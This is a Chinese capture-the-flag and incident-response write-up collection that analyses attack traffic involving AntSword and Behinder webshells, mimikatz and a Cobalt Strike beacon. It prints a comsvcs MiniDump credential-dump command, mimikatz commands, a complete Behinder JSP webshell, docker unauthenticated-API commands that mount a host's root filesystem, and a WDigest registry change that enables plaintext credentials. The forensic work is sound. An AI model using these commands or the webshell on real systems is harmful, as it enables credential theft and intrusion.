cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]

1. cd /d "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop"

功能：切换到指定目录。
详细说明：
- cd 是 Change Directory（切换目录）的命令。
- /d 参数表示 同时切换驱动器（如从 D: 切换到 C:）。
- "C:\\phpStudy\\PHPTutorial\\WWW\\onlineshop" 是目标路径（\\ 是转义后的 \，实际路径为 C:\phpStudy\PHPTutorial\WWW\onlineshop）。

2. rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full

功能：使用 rundll32.exe 调用 comsvcs.dll 的 MiniDump 功能，生成进程的内存转储（dump）文件。
详细说明：
- rundll32.exe 是 Windows 系统工具，用于运行 DLL 文件中的函数。
- comsvcs.dll 是 Windows 系统 DLL，包含 进程转储（minidump） 相关功能。
- MiniDump 是 comsvcs.dll 提供的函数，用于创建 进程内存快照（通常用于调试或取证）。
- 852 是目标 进程 ID（PID），表示要转储的进程（需替换为实际 PID）。
- C:\Temp\OnlineShopBackup.zip 是转储文件的输出路径（.zip 格式可能是伪装）。
- full 表示 完整转储（包含进程的所有内存数据）。

flag{852}

用户WIN101的密码是什么?

根据上一题的分析，这一题找密码就是需要mimikatz

博客原文：

在之前的解码当中会发现有一个OnlineShopBackup.zip，它已经被文件product2.php包裹在里面了，所以其实我们只需要正常导出文件product2.php即可，很多product2.php文件，那到底那一个才是真正的product2.php呢？（dmp文件）
dmp文件特点；

转储文件（dump file）的大小可以变化很大，取决于生成的转储文件类型以及系统的配置。转储文件主要有两种类型：小型转储文件（minidump）和完整内存转储文件（full dump）。这两种文件在大小和包含的信息上有很大的不同。

小型转储文件（Minidump）

大小：通常比较小，几百KB到几MB。
特点：
包含进程崩溃时的基本信息，如线程、调用堆栈、部分内存数据和加载的模块。
适用于快速调试和分析崩溃原因。
生成速度快，占用存储空间小。
所以基本就是KB或者MB，再者就是dmp文件头部我们已经知道，所以直接按大小排序一波，然后直接锁定最底下三个，依次进行排查；

一个个看会发现就是最下面那个

多余的删掉

mimikatz进行分析

privilege::debug

提升 Mimikatz 的权限，使其能够访问某些受保护的进程和内存区域。

sekurlsa::minidump 文件名

告诉 Mimikatz 加载一个特定的内存转储文件

sekurlsa::logonpasswords full

用于提取当前系统中所有用户的登录凭证信息，包括明文密码、密码哈希、Kerberos 票据等

NTML拿去md5解密（NT 哈希 (NTLM Hash)。这是密码的 MD4 哈希，是 NTLMv1 和 NTLMv2 验证中常用的部分）

flag{admin#123}

参考：玄机——第六章流量特征分析-蚂蚁爱上树 wp-CSDN博客

第六章流量特征分析-蚁剑流量分析

木马的连接密码是多少

协议分级选中http

挺少的，直接看第一个

很明显的蚁剑，连接密码是1

flag{1}

黑客执行的第一个命令是什么

也是第一个，显示字节，解码

这里最开始两个字符没有包含在编码里面，主要是混淆，避免被防火墙或者其他拦截系统拦截

命令cd和id

这里看起来第一个命令确实是cd "/var/www/html"，但是id是命令的执行，因为id能当前用户和组的身份信息，这是攻击者或管理员非常关心的内容，而cd只是换了个工作目录，算是一个强调问题

flag{id}

黑客读取了哪个文件的内容，提交文件绝对路径

一个个看，在第三个POST

cat查看文件

flag{/etc/passwd}

黑客上传了什么文件到服务器，提交文件名

第四个POST有个flag.txt

flag{flag.txt}

黑客上传的文件内容是什么

上一题同一个地方，十六进制解码

flag{write_flag}

黑客下载了哪个文件，提交文件绝对路径

最后一个POST

flag{/var/www/html/config.php}

冰蝎3.0-jsp流量分析

总结：冰蝎分析；put上传文件

1.黑客IP是什么？

统计->会话：

flag{192.168.31.61}

2.黑客上传的Webshell名是什么？

这个包数量挺多的，有用的在后面了

请求这个indeX.jsp页面发现里面的数据是被加密的

不出意外的话这个文件就是webshell文件

flag{indeX.jsp}

3.黑客上传WebShell的时间是多少？（格式如：flag{YYYY-MM-DD HH:MM:SS}）

找到indeX.jsp的第一个数据包，发现连接木马：

相应包有时间

flag{2025-02-22 07:47:38}

4.木马的解密key是什么?

根据上一题得到的连接木马可知解密key是：

flag{3f0af7bb4dbcfbd7}

5.黑客执行的第一个命令是什么?

解密后续的流量，基本第一条第二条都是连接成功的一些消息之类的

解密第三个

乱码了，不知道什么情况，仔细看能看到命令ifconfig

flag{ifconfig}

6.黑客上传的文件内容是什么?

这个也是解密后续的流量，但是因为是乱码就看不出来了，可以照着流量包的put操作去上传木马文件，然后用冰蝎连接服务器

PUT /indeX.jsp/ HTTP/1.1
Host: 192.168.31.168:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 782

下面是冰蝎生成的木马

但是我这边死活访问不了靶机ip不知道为啥所以复现不了了，方法就是这样

看博客是在/home/xj/up.txt目录找到的文件，内容是：

flag{485375b7b06ad856a788c0d95229f35c}

7.黑客下载的文件内容是什么?

这个直接搜关键字flag{：

flag{3aacab9ca36a6894c75048e4faf47052}

8.服务器内的flag是什么？

这个也是在连接服务器之后在/root/flag.txt里面：

flag{ae1d04dd3d15c6a18f904fe50fdf7eca}

CobaltStrike流量分析

某单位安全运维人员在夜间捕获了一个数据包和一个恶意IP，请你分析数据包结合IP回答相应问题

CobaltStrike流量

看了一个解释的很清楚的文章：基于玄机靶场CobaltStrike流量分析题目的学习笔记 | lexsd6's home

简单点说就是：

阶段1：初始感染（Initial Compromise）

场景：用户执行了恶意文件或通过漏洞被入侵

阶段2：Stager Beacon下载

作用：下载完整的Beacon到内存中执行

阶段3：完整Beacon激活

过程：

Stager在内存中解密并加载完整Beacon
Beacon包含完整功能：文件操作、命令执行、信息收集等
建立持久化机制

时间：大约在0点几秒之间完成（你流量中看不到这个内存操作）

阶段4：心跳机制建立（Beacon通信）

作用：定期向C2服务器"报到"，检查新任务

阶段5：任务执行与数据传输

1.溯源反制，提交黑客CS服务器的flag.txt内容

用fscan扫描发现2375端口

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
52.82.27.30:2375 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://69.230.246.132:2375   code:404 len:29     title:None
[+] PocScan http://69.230.246.132:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://69.230.246.132:2375 poc-yaml-go-pprof-leak
已完成 1/1
[*] 扫描结束,耗时: 10.63908723s

发现poc-yaml-docker-api-unauthorized-rce，漏洞复现-docker未授权rce - 铺哩 - 博客园

访问version证明漏洞存在：

命令：

docker -H tcp://xxx:2375 images

获取其docker拉取且正在运行的镜像文件

获取容器的shell：

docker -H tcp://xxx:2375 run -it -v /:/mnt 容器ID号 /bin/bash

来到/mnt目录下，在/root下找到flag

我们需要找到.cobaltstrike.beacon_keys文件，它后续要用来解密流量

用base64加密后输出文件保存:

rO0ABXNyABRzbGVlcC5ydW50aW1lLlNjYWxhcryvNaxLcOBGAwADTAAFYXJyYXl0ABtMc2xlZXAv
cnVudGltZS9TY2FsYXJBcnJheTtMAARoYXNodAAaTHNsZWVwL3J1bnRpbWUvU2NhbGFySGFzaDtM
AAV2YWx1ZXQAGkxzbGVlcC9ydW50aW1lL1NjYWxhclR5cGU7eHBzcgAec2xlZXAuZW5naW5lLnR5
cGVzLk9iamVjdFZhbHVluXko22Ba54kCAAFMAAV2YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hw
c3IAFWphdmEuc2VjdXJpdHkuS2V5UGFpcpcDDDrSzRKTAgACTAAKcHJpdmF0ZUtleXQAGkxqYXZh
L3NlY3VyaXR5L1ByaXZhdGVLZXk7TAAJcHVibGljS2V5dAAZTGphdmEvc2VjdXJpdHkvUHVibGlj
S2V5O3hwc3IAFGphdmEuc2VjdXJpdHkuS2V5UmVwvflPs4iapUMCAARMAAlhbGdvcml0aG10ABJM
amF2YS9sYW5nL1N0cmluZztbAAdlbmNvZGVkdAACW0JMAAZmb3JtYXRxAH4ADUwABHR5cGV0ABtM
amF2YS9zZWN1cml0eS9LZXlSZXAkVHlwZTt4cHQAA1JTQXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ6
MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAJO0EnJxkHuANSxqFba7FwG9AWV6
L7o8ofulbZoT6fHzEhrDqnAkj4YhIX/d/ApITnjr9OW0i7SATqur5TZs9IhrbOKloRPt2FH8Wy+2
KpJQQzVAALuufy9117C3CXoXt8feGVF01LF87hSZrh5S484+7D9wAR2XHQIsCocj3vEdAgMBAAEC
gYBp/uTqGhNcfZIrMGoquzJ0feWdpETR+qcoBvyTgMz3Y79PU7FhTutsjyQSNgSkgGVII9SYb6t+
OkG6st4H48LLbsOm3sSo6KIoILuwIKPP4weXi8EdeFUeb8adwFgXC2XPs9Q0gnv148UDDNVf6UqO
S/ytp3rebDMCQXUJsuOSJQJBAPzIJvVfLlweOqNScH3/iUrkk/rFFXAlC/K4B0PkHsZuoI2B9/aM
VyGDdk4nUGzswLVizA8bfgqdoJ0vRyV12o8CQQCVlXS+qEOAUxiOiVwtosRP5UUw6lIv2+rMxSeX
VVNfitYanH88/n3sr4UDGizlKZAQC18TDlxeRXwKzWgyov+TAkAM+KxfHQJBAeAab2mMXaeK603Y
qXJfLdd+HglpZ3RY1GZyvH+f7DWwZ5GTkxribAe7hxVXlR6TpuEOD9YDyxdrAkAbDlN1gN3kwiL4
9SN1JbG4edHQDTIccfzAWRDWMJrJ90TOv2vMToPcYcr/SqbANIpYPJZPzhMrAgpzsb+dGRp9AkEA
zWFEOBKqLnfIZR4g6AtuIugScM67nU3Kpo6P9jFZsnLrMjhc6RvyfKWrnQkpeNx8GGagTrOKlTXe
XxcjlSvp0nQABlBLQ1MjOH5yABlqYXZhLnNlY3VyaXR5LktleVJlcCRUeXBlAAAAAAAAAAASAAB4
cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdAAHUFJJVkFURXNxAH4ADHEAfgARdXEAfgAS
AAAAojCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAk7QScnGQe4A1LGoVtrsXAb0BZXovujyh
+6VtmhPp8fMSGsOqcCSPhiEhf938CkhOeOv05bSLtIBOq6vlNmz0iGts4qWhE+3YUfxbL7YqklBD
NUAAu65/L3XXsLcJehe3x94ZUXTUsXzuFJmuHlLjzj7sP3ABHZcdAiwKhyPe8R0CAwEAAXQABVgu
NTA5fnEAfgAVdAAGUFVCTElDcHB4

2.黑客攻击主机上线时间是？(flag{YYYY-MM-DD HH:MM:SS})

流量包过滤http

可以看到有很多all.js的请求，可以判断出这个就是心跳包，既然已经有了心跳包那么就已经上线了，所以第一个心跳包的时间就是黑客攻击主机上线的时间

我们看下面那个相应包的返回时间

注意这里是格林威治标准时间（比北京时间晚8小时）GWT，换算一下就是

flag{2025-02-12 20:12:52}

3.黑客使用的隧道payload名字是什么？

在心跳包之前的数据包FJwV就是Stager Beacon

我们保存这个文件，用1768.py脚本文件（minhangxiaohui/CSthing: somthing about Cobaltstrike）去解密

详细解释：

# Cobalt Strike Beacon 配置文件解析
# File: FJwV
# xorkey(chain): 0x1f6828ff        # XOR解密密钥，用于解密配置数据
# length: 0x040e00ad               # Beacon载荷总长度
# Config found: xorkey b'.' 0x00000000 0x000057cf  # 配置数据位置和长度

# === 核心通信配置 ===
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
# 载荷类型: HTTP反向连接Beacon (0 = HTTP, 1 = HTTPS, 2 = DNS, 等)

0x0002 port                             0x0001 0x0002 80
# C2服务器端口: 80 (HTTP标准端口)

0x0003 sleeptime                        0x0002 0x0004 60000
# 心跳间隔: 60000毫秒 = 60秒 (Beacon定期联系C2的时间间隔)

0x0004 maxgetsize                       0x0002 0x0004 1048576
# 最大下载大小: 1048576字节 = 1MB (单次请求最大数据传输量)

0x0005 jitter                           0x0001 0x0002 0
# 时间抖动: 0% (心跳时间随机变化范围，0表示固定间隔)

0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# RSA公钥: 用于加密C2通信数据

0x0008 server,get-uri                   0x0003 0x0100 '192.168.31.170,/en_US/all.js'
# C2服务器和心跳URI: IP=192.168.31.170, 心跳请求路径=/en_US/all.js

# === 未知/保留字段 ===
0x0043                                  0x0001 0x0002 0
0x0044                                  0x0002 0x0004 4294967295
0x0045                                  0x0002 0x0004 4294967295
0x0046                                  0x0002 0x0004 4294967295
# 这些通常是Cobalt Strike的保留字段或版本特定配置

# === 进程注入配置 ===
0x000e SpawnTo                          0x0003 0x0010 (NULL ...)
# 衍生进程: 注入目标进程(为空使用默认)

0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
# x86系统注入进程: Windows系统目录下的rundll32.exe (32位系统)

0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
# x64系统注入进程: Windows系统目录下的rundll32.exe (64位系统)

# === 加密与通信协议 ===
0x001f CryptoScheme                     0x0001 0x0002 0
# 加密方案: 0 = 默认AES加密

0x001a get-verb                         0x0003 0x0010 'GET'
# HTTP GET请求方法: GET

0x001b post-verb                        0x0003 0x0010 'POST'
# HTTP POST请求方法: POST

0x001c HttpPostChunk                    0x0002 0x0004 0
# POST数据分块大小: 0 = 不分块

# === 许可证与标识 ===
0x0025 license-id                       0x0002 0x0004 666666
# 许可证ID: 666666 (攻击者的Cobalt Strike许可证编号)

0x0024 deprecated                       0x0003 0x0020 'MYhXSMGVvcr7PtOTMdABvA=='
# 已弃用字段: 可能包含水印或标识信息

# === 行为控制标志 ===
0x0026 bStageCleanup                    0x0001 0x0002 0
# 阶段清理: 0 = 不清理初始载荷

0x0027 bCFGCaution                      0x0002 0x0002 0
# 配置警告: 0 = 无特殊警告行为

# === 更多未知字段 ===
0x0047                                  0x0002 0x0004 0
0x0048                                  0x0002 0x0004 0
0x0049                                  0x0002 0x0004 0

# === 用户代理和URI ===
0x0009 useragent                        0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)'
# HTTP User-Agent: 伪装成IE10浏览器在Windows 7系统

0x000a post-uri                         0x0003 0x0040 '/submit.php'
# 数据回传URI: POST请求发送到/submit.php

0x000b Malleable_C2_Instructions        0x0003 0x0100 '\x00\x00\x00\x04'
# 可变C2指令: 可能控制流量变形行为

# === HTTP头部配置 ===
0x000c http_get_header                  0x0003 0x0200
  Cookie
# GET请求头部: 包含Cookie字段

0x000d http_post_header                 0x0003 0x0200
  &Content-Type: application/octet-stream
  id
# POST请求头部: 
#   Content-Type: application/octet-stream (伪装成二进制流)
#   id参数: 用于会话标识

0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
# 主机头: 为空使用默认

0x0032 UsesCookies                      0x0001 0x0002 1
# 使用Cookie: 1 = 启用 (在HTTP通信中使用Cookie)

# === 代理设置 ===
0x0023 proxy_type                       0x0001 0x0002 2 IE settings
# 代理类型: 2 = 使用IE代理设置

# === 更多未知配置 ===
0x003a                                  0x0003 0x0080 '\x00\x04'
0x0039                                  0x0003 0x0080 '\x00\x04'
0x0037                                  0x0001 0x0002 0

# === 生命周期控制 ===
0x0028 killdate                         0x0002 0x0004 0
# 自毁日期: 0 = 无自毁时间 (永久运行)

0x0029 textSectionEnd                   0x0002 0x0004 0
# 文本段结束: PE文件相关

# === 进程注入详细配置 ===
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
# 注入内存起始权限: PAGE_EXECUTE_READWRITE (可执行、可读、可写)

0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
# 注入内存使用权限: PAGE_EXECUTE_READWRITE

0x002d process-inject-min_alloc         0x0002 0x0004 0
# 最小内存分配: 0 = 使用默认值

0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
# x86代码变形: 为空 (无额外代码混淆)

0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
# x64代码变形: 为空 (无额外代码混淆)

0x0035 process-inject-stub              0x0003 0x0010 '\x04à¡\x1bå\x91G¨×=+>\x9fê\x83,'
# 注入桩代码: 实际的shellcode载荷

0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
# 注入执行方法: 可能指定CreateRemoteThread等注入技术

0x0034 process-inject-allocation-method 0x0001 0x0002 0
# 内存分配方法: 0 = 使用默认VirtualAllocEx

0x0000
# 配置结束标记

Guessing Cobalt Strike version: 4.4 (max 0x0049)
# 检测到的Cobalt Strike版本: 4.4 (基于最大配置字段编号0x0049推断)

flag{windows-beacon_http-reverse_http}

4.黑客获取到当前用户的明文密码是什么？

现在需要解密流量包，根据博客所解释的，因为我们之前在靶机里面拿到的.cobaltstrike.beacon_keys文件，用下面的脚本进行提取，如果是没有得到这个文件的情况下也可以通过公钥得到n和e分解pq再去计算私钥

import base64
import javaobj.v2 as javaobj

with open(".cobaltstrike.beacon_keys", "rb") as fd:
    pobj = javaobj.load(fd)

def format_key(key_data, key_type):
    key_data = bytes(map(lambda x: x & 0xFF, key_data))
    formatted_key = f"-----BEGIN {key_type} KEY-----\n"
    formatted_key += base64.encodebytes(key_data).decode()
    formatted_key += f"-----END {key_type} KEY-----"
    return formatted_key

privateKey = format_key(pobj.array.value.privateKey.encoded.data, "PRIVATE")
publicKey = format_key(pobj.array.value.publicKey.encoded.data, "PUBLIC")

print(privateKey)
print(publicKey)

得到了私钥

获取raw key，用

cs-decrypt-metadata.py -p 私钥的hex值 加密的元数据

解密，脚本下载：minhangxiaohui/CSthing: somthing about Cobaltstrike

all.js数据包的加密元数据

python cs-decrypt-metadata.py 30820276020100300d06092a864886f70d0101010500048202603082025c0201000281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000102818069fee4ea1a135c7d922b306a2abb32747de59da444d1faa72806fc9380ccf763bf4f53b1614eeb6c8f24123604a480654823d4986fab7e3a41bab2de07e3c2cb6ec3a6dec4a8e8a22820bbb020a3cfe307978bc11d78551e6fc69dc058170b65cfb3d434827bf5e3c5030cd55fe94a8e4bfcada77ade6c3302417509b2e39225024100fcc826f55f2e5c1e3aa352707dff894ae493fac51570250bf2b80743e41ec66ea08d81f7f68c572183764e27506cecc0b562cc0f1b7e0a9da09d2f472575da8f024100959574bea8438053188e895c2da2c44fe54530ea522fdbeaccc5279755535f8ad61a9c7f3cfe7decaf85031a2ce52990100b5f130e5c5e457c0acd6832a2ff9302400cf8ac5f1d024101e01a6f698c5da78aeb4dd8a9725f2dd77e1e0969677458d46672bc7f9fec35b0679193931ae26c07bb871557951e93a6e10e0fd603cb176b02401b0e537580dde4c222f8f5237525b1b879d1d00d321c71fcc05910d6309ac9f744cebf6bcc4e83dc61caff4aa6c0348a583c964fce132b020a73b1bf9d191a7d024100cd61443812aa2e77c8651e20e80b6e22e81270cebb9d4dcaa68e8ff63159b272eb32385ce91bf27ca5ab9d092978dc7c1866a04eb38a9535de5f1723952be9d2 IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=

得到：

Encrypted metadata: IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
Decrypted:
Header: 0000beef
Datasize: 0000005d
Raw key:  a4553adf7a841e1dcf708afc912275ee
 aeskey:  a368237121ef51b094068a2e92304d46
 hmackey: b6315feb217bd87188d06870dd92855b
charset: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
charset_oem: 03a8 ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312)
bid: 5f96edca 1603726794
pid: 0acc 2764
port: 0
flags: 0e
var1: 6
var2: 2
var3: 9200
var4: 32760
var5: 265866928
var6: 265854304
var7: 2507253952
Field: b'WIN-8FC6TKPDPOR'
Field: b'Administrator'
Field: b'artifact.exe'

得到raw key：a4553adf7a841e1dcf708afc912275ee

然后就是解密流量包，

cs-parse-http-traffic.py -r raw.key -Y 流量包过滤出cs流量包 -e 文件对cs流量批量提取

python cs_parse_http_traffic.py -r a4553adf7a841e1dcf708afc912275ee -Y "http && !(http.host == 'r4---sn-ni57rn7y.gvt1-cn.com')" -e ./cs流量分析.pcapng > 1111.txt

大致过程就是这样，然后因为我的一直报错就又去找了其他方法：流量包过滤返回为200的

http.response.code == 200

全部标记

到处特定分组

保存为pcapng文件，用脚本cs_parse_http_traffic.py（minhangxiaohui/CSthing: somthing about Cobaltstrike）和raw key解密

python cs_parse_http_traffic.py -r a4553adf7a841e1dcf708afc912275ee 1111.pcapng

这里如果用第一种的话就能看到数据包36696里面发现密码

flag{xj@cs123}

5.黑客为了得到明文密码修改了什么？（提交flag{md5(执行的命令)}）

修改注册表：

Command: b'%COMSPEC%'
Arguments: b' /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f'

修改 WDigest 认证提供程序的配置
UseLogonCredential = 1 意味着启用明文凭据缓存
这是一个 凭据盗窃 技术
默认情况下，Windows 8.1/Server 2012 R2 及更高版本会禁用WDigest的明文凭据存储
此修改使得系统在内存中保存登录凭据的明文，方便攻击者使用Mimikatz等工具提取

锁定工作站：

Command: b'%COMSPEC%'
Arguments: b' /C rundll32.exe user32.dll,LockWorkStation'

锁定当前用户的工作站
强制重新登录：迫使受害者重新输入凭据
结合第一个操作，现在系统会在内存中缓存明文密码
攻击者随后可以转储内存获取凭据

可知黑客为了得到明文密码改的就是注册表，计算 /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f的md5：73aeb8ee98d124a1f8e87f7965dc0b4a

flag{73aeb8ee98d124a1f8e87f7965dc0b4a}

6.黑客下载的文件名称是什么？

download：

GBK解码：

C:\Users\Administrator\Desktop\xxx服务器运维信息.xls

flag{xxx服务器运维信息.xlsx}

7.黑客下载的文件内容是什么？

这个要去受害者的主机看日志：

去找到对应路径下的文件下载下来打开查看

flag{752fe2f44306e782f0d6830faad59e0e}

8.黑客上传的文件内容是什么？

9.黑客截图后获取到用户正在使用哪个软件？（提交程序名称如firefox）

10.黑客读取到浏览器保存的密码是什么？

11.黑客使用键盘记录获取到用户打开了什么网站？（提交网站域名）

参考文章：基于玄机靶场CobaltStrike流量分析题目的学习笔记 | lexsd6's home

玄机蓝队靶场_应急响应_114:CobaltStrike流量分析 - 如此蹉跎 - 博客园

2024铁人三项决赛应急响应

总结：冰蝎4.0分析

2024铁人三项决赛应急响应
您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常，好像被黑客攻 击了。小李通过简单分析，发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致 的。小李将当天可能与攻击相关的流量导出，并与移动应用一起打包压缩，你可以下载分析。

关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列，空格分隔)

统计所有IPv4地址

就几个，看Count可以知道第一个是服务端，第二个是客户端，最后的四个分别是组播服务、组播服务、网络设备、广播地址，可以过滤一下130和129的地址

其实这里我没搞太明白，这里是130发起请求然后129确认

但是wp写的是：

不明白，答案是129

202.1.1.1 202.1.1.129

关卡描述:存在安全问题的apk中使用的登录密码是什么?

apk文件拿去jadx分析搜索password：

流量包里面也有：

password663399

关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

404太多了，过滤200看看

第二个就是无上传权限

pic.jpg

关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

也是在200的里面，一个个追踪流，发现：

可知黑客利用的漏洞接口 API 地址是：http://202.1.1.66:8080/api/upload

http://202.1.1.66:8080/api/upload

关卡描述:黑客上传的webshell绝对路径是什么?

在上一题可以看到黑客上传的jsp木马，这个是冰蝎4.0的木马了

<%@page import="java.util.*, javax.crypto.*, javax.crypto.spec.*"%>

<%!
// 自定义类加载器
class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }
    
    // 自定义类加载方法
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
%>

<%
// 如果请求中包含bing_pass参数，生成并返回加密密钥
if (request.getParameter("bing_pass") != null) {
    // 生成UUID并处理作为密钥
    String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
    session.putValue("u", k);  // 存储密钥到session
    out.print(k);  // 返回密钥给客户端
    return;
}

// AES解密流程
Cipher c = Cipher.getInstance("AES");
// 使用session中存储的密钥初始化解密器
c.init(Cipher.DECRYPT_MODE, 
       new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));

// 读取请求体中的加密数据，解密并加载执行
new U(this.getClass().getClassLoader())
    .g(c.doFinal(new sun.misc.BASE64Decoder()
        .decodeBuffer(request.getReader().readLine())))
    .newInstance()
    .equals(pageContext);
%>

这里的绝对路径要去靶机查看对应文件找到绝对路径，但是这个玄机没有给靶机，wp：

/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡描述:黑客上传的webshell的密码是什么?

为什么密码就是bing_pass：

1. 认证触发点

在代码中：

if (request.getParameter("bing_pass") != null) {
    // 生成密钥并返回
    String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
    session.putValue("u", k);
    out.print(k);
    return;
}

bing_pass是认证触发参数：任何值都可以（如?bing_pass=1）
不是传统密码：更像是一个"暗号"或"触发开关"

2. 双阶段认证流程

这个WebShell使用两阶段认证：

阶段1：获取加密密钥

请求：http://target.com/shell.jsp?bing_pass=1
响应：返回一个随机AES密钥

阶段2：加密通信

1. 客户端用获得的AES密钥加密恶意字节码
2. Base64编码后通过POST发送
3. WebShell解密并执行

所以webshell密码就是bing_pass

bing_pass

关卡描述:黑客通过webshell执行的第一条命令是什么?

后续的数据包就是被加密后的数据了，解密用到的密钥是通过bing_pass参数传值然后返回一个密钥

这里要选加密数据的前一个作为密钥，解密脚本通过流量包知道的加密脚本写出对应的，能解密，得到class文件再去反编译

解密：

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# ===================== 需手动替换的内容 =====================
# 1. 密钥：对应JSP中session里的u值（UUID截取后16位，16字节=128位，AES-128）
AES_KEY = b"b99f657b04941030"  
# 2. 加密数据：对应请求体中BASE64编码的加密内容
ENCRYPTED_BASE64_DATA = "加密数据"
# ============================================================

# 步骤1：BASE64解码加密数据
encrypted_data = base64.b64decode(ENCRYPTED_BASE64_DATA)

# 步骤2：AES解密（JSP默认AES模式为ECB，无IV，填充方式PKCS5Padding）
cipher = AES.new(AES_KEY, AES.MODE_ECB)
try:
    # 解密并去除PKCS5填充
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

    # 步骤3：将解密后的字节码保存为class文件
    with open("decrypted.class", "wb") as f:
        f.write(decrypted_data)
    print("解密成功！已输出class文件：decrypted.class")
except Exception as e:
    print(f"解密失败：{str(e)}")
    print("请检查密钥是否正确、加密数据是否完整，或填充/模式是否匹配")

保存的class文件拿去反编译（在线Java反编译器 - ShenmeApp）

这个是流142的加密数据得到命令是pwd

pwd

关卡描述:黑客获取webshell时查询当前shell的权限是什么?

流153请求包解密出来就是执行的whoami

但是响应的是乱码，不知道怎么解密，这里看wp也是在靶机查看了/etc/passwd文件然后在下面发现了tomcat这个用户盲猜猜对了

tomcat

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

直接去靶机用

uname -a

CentOS Linux release 7.4.1708 (Core)

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

wp：

/usr/local/tomcat/webapps/ROOT/static/secert.file

关卡描述:黑客通过反连执行的第一条命令是什么?

继续在200的数据包追踪流，283流的解密：

查看284的数据，注意要看tcp

第一个不对，是第二个

cat /etc/passwd

